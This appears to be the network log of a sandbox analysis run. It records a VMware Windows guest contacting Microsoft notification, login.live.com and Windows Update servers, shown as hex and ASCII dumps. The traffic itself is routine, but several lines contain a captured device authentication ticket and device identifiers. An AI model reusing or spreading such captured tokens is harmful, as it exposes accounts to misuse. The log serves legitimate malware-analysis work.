2024-07-22 13:57:48 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 32 7a 44 46 48 39 69 70 67 30 6d 49 77 78 49 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 62 65 39 62 61 65 37 38 37 37 38 37 66 64 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 30 75 39 54 68 4d 51 6f 61 5a 51 66 54 44 49 6a 46 53 7a 42 48 7a 6d 37 76 47 6a 6f 6c 74 52 4c 37 65 75 57 38 58 42 51 4c 37 78 65 79 30 75 73 73 76 42 4f 34 53 37 4f 55 67 4d 37 68 58 57 4d 4e 44 79 4a 4d 59 6e 4e 37 66 71 46 62 30 49 7a 6c 57 68 46 4f 44 33 48 4f 2f 57 4a 4c 38 72 47 5a 35 31 2f 79 6d 34 55 7a 77 6c 4f Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 2zDFH9ipg0mIwxIz.2Context: ebe9bae787787fdf<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY0u9ThMQoaZQfTDIjFSzBHzm7vGjoltRL7euW8XBQL7xey0ussvBO4S7OUgM7hXWMNDyJMYnN7fqFb0IzlWhFOD3HO/WJL8rGZ51/ym4UzwlO
2024-07-22 13:57:48 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 32 7a 44 46 48 39 69 70 67 30 6d 49 77 78 49 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 62 65 39 62 61 65 37 38 37 37 38 37 66 64 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 2zDFH9ipg0mIwxIz.3Context: ebe9bae787787fdf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-22 13:57:48 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-22 13:57:48 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 47 77 79 58 71 51 4c 41 45 53 68 4c 47 36 41 64 31 56 56 36 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: yGwyXqQLAEShLG6Ad1VV6w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49714	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:57:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-07-22 13:57:48 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-22 13:57:48 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 22 Jul 2024 13:56:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 5be45668-92d4-465e-9dae-26a785cf8a00 PPServer: PPV: 30 H: PH1PEPF00012005 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 22 Jul 2024 13:57:48 GMT Connection: close Content-Length: 10197
2024-07-22 13:57:48 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49727	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:57:56 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 53 54 46 37 34 45 6b 41 55 55 2b 63 36 76 79 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 62 66 31 33 64 34 38 37 37 35 33 30 65 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: STF74EkAUU+c6vyA.1Context: 11bf13d4877530e1
2024-07-22 13:57:56 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-22 13:57:56 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 53 54 46 37 34 45 6b 41 55 55 2b 63 36 76 79 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 62 66 31 33 64 34 38 37 37 35 33 30 65 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 30 75 39 54 68 4d 51 6f 61 5a 51 66 54 44 49 6a 46 53 7a 42 48 7a 6d 37 76 47 6a 6f 6c 74 52 4c 37 65 75 57 38 58 42 51 4c 37 78 65 79 30 75 73 73 76 42 4f 34 53 37 4f 55 67 4d 37 68 58 57 4d 4e 44 79 4a 4d 59 6e 4e 37 66 71 46 62 30 49 7a 6c 57 68 46 4f 44 33 48 4f 2f 57 4a 4c 38 72 47 5a 35 31 2f 79 6d 34 55 7a 77 6c 4f Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: STF74EkAUU+c6vyA.2Context: 11bf13d4877530e1<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY0u9ThMQoaZQfTDIjFSzBHzm7vGjoltRL7euW8XBQL7xey0ussvBO4S7OUgM7hXWMNDyJMYnN7fqFb0IzlWhFOD3HO/WJL8rGZ51/ym4UzwlO
2024-07-22 13:57:56 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 53 54 46 37 34 45 6b 41 55 55 2b 63 36 76 79 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 62 66 31 33 64 34 38 37 37 35 33 30 65 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: STF74EkAUU+c6vyA.3Context: 11bf13d4877530e1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-22 13:57:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-22 13:57:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 47 4a 4e 38 73 71 79 59 6b 6d 50 51 6d 6f 4f 41 58 6b 76 34 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HGJN8sqyYkmPQmoOAXkv4w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49728	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:57:58 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PxRdW7mlrrw49Sf&MD=a2PwAHxG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-22 13:57:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6432058f-7414-45a3-bee1-cd148d193818 MS-RequestId: 50c2eeba-49fd-418b-aecc-bd5c575bf0db MS-CV: C+rnSFjIvk+XbT0O.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 22 Jul 2024 13:57:58 GMT Connection: close Content-Length: 24490
2024-07-22 13:57:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-22 13:57:58 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49786	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:58:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 38 55 6e 41 37 77 68 63 44 6b 79 41 44 39 43 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 32 32 64 35 32 31 32 32 66 33 65 61 33 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 8UnA7whcDkyAD9CP.1Context: f722d52122f3ea33
2024-07-22 13:58:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-22 13:58:10 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 38 55 6e 41 37 77 68 63 44 6b 79 41 44 39 43 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 32 32 64 35 32 31 32 32 66 33 65 61 33 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 30 75 39 54 68 4d 51 6f 61 5a 51 66 54 44 49 6a 46 53 7a 42 48 7a 6d 37 76 47 6a 6f 6c 74 52 4c 37 65 75 57 38 58 42 51 4c 37 78 65 79 30 75 73 73 76 42 4f 34 53 37 4f 55 67 4d 37 68 58 57 4d 4e 44 79 4a 4d 59 6e 4e 37 66 71 46 62 30 49 7a 6c 57 68 46 4f 44 33 48 4f 2f 57 4a 4c 38 72 47 5a 35 31 2f 79 6d 34 55 7a 77 6c 4f Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 8UnA7whcDkyAD9CP.2Context: f722d52122f3ea33<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY0u9ThMQoaZQfTDIjFSzBHzm7vGjoltRL7euW8XBQL7xey0ussvBO4S7OUgM7hXWMNDyJMYnN7fqFb0IzlWhFOD3HO/WJL8rGZ51/ym4UzwlO
2024-07-22 13:58:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 38 55 6e 41 37 77 68 63 44 6b 79 41 44 39 43 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 32 32 64 35 32 31 32 32 66 33 65 61 33 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 8UnA7whcDkyAD9CP.3Context: f722d52122f3ea33<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-22 13:58:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-22 13:58:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 76 35 70 79 79 45 63 62 6b 4b 74 41 72 30 52 6f 49 59 36 32 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Tv5pyyEcbkKtAr0RoIY62A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49815	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:58:34 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 71 36 65 53 46 64 38 41 34 30 65 72 50 46 64 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 36 62 35 31 30 63 34 33 32 34 62 36 63 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: q6eSFd8A40erPFd1.1Context: ae6b510c4324b6c0
2024-07-22 13:58:34 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-22 13:58:34 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 71 36 65 53 46 64 38 41 34 30 65 72 50 46 64 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 36 62 35 31 30 63 34 33 32 34 62 36 63 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 30 75 39 54 68 4d 51 6f 61 5a 51 66 54 44 49 6a 46 53 7a 42 48 7a 6d 37 76 47 6a 6f 6c 74 52 4c 37 65 75 57 38 58 42 51 4c 37 78 65 79 30 75 73 73 76 42 4f 34 53 37 4f 55 67 4d 37 68 58 57 4d 4e 44 79 4a 4d 59 6e 4e 37 66 71 46 62 30 49 7a 6c 57 68 46 4f 44 33 48 4f 2f 57 4a 4c 38 72 47 5a 35 31 2f 79 6d 34 55 7a 77 6c 4f Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: q6eSFd8A40erPFd1.2Context: ae6b510c4324b6c0<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY0u9ThMQoaZQfTDIjFSzBHzm7vGjoltRL7euW8XBQL7xey0ussvBO4S7OUgM7hXWMNDyJMYnN7fqFb0IzlWhFOD3HO/WJL8rGZ51/ym4UzwlO
2024-07-22 13:58:34 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 71 36 65 53 46 64 38 41 34 30 65 72 50 46 64 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 36 62 35 31 30 63 34 33 32 34 62 36 63 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: q6eSFd8A40erPFd1.3Context: ae6b510c4324b6c0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-22 13:58:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-22 13:58:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 76 6f 57 5a 76 67 2b 52 6f 30 75 67 48 65 41 52 55 61 79 41 6c 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: voWZvg+Ro0ugHeARUayAlg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49818	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
